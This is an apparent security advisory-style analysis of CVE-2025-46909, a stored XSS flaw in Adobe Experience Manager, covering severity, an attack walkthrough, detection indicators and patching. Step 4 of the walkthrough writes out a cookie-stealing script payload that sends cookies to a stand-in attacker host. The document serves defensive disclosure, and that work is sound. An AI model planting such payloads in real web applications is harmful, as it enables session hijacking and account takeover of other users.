CVE-2025-46909: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46909 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 11–12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in any victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim visiting the affected page) but only low privileges to inject the payload, making it accessible to authenticated users with minimal permissions (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and manipulation of web content. The changed scope indicator reflects that the impact extends beyond the attacker's own session to affect other users of the AEM instance. Availability is not directly impacted, but confidentiality and integrity are both assessed as low-impact per the CVSS scoring (Adobe Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any low-privileged account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — fields where user-supplied input is stored and later rendered without proper output encoding.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Wait for victim interaction: When a higher-privileged user or administrator browses to the page containing the injected field, the malicious script executes in their browser context.
6. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, exfiltrate sensitive data, or redirect the victim to a malicious site (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• File System / Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes associated with form fields or page components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session cookie data as query parameters.
• Logs: Browser-side console errors or CSP violation reports logged server-side indicating attempted execution of inline scripts on AEM pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to restrict inline script execution, enforce rigorous input validation and output encoding on all form fields, and limit the privileges of accounts that can modify page content. Regularly auditing user-generated content for unexpected script injections is also recommended (Adobe Advisory).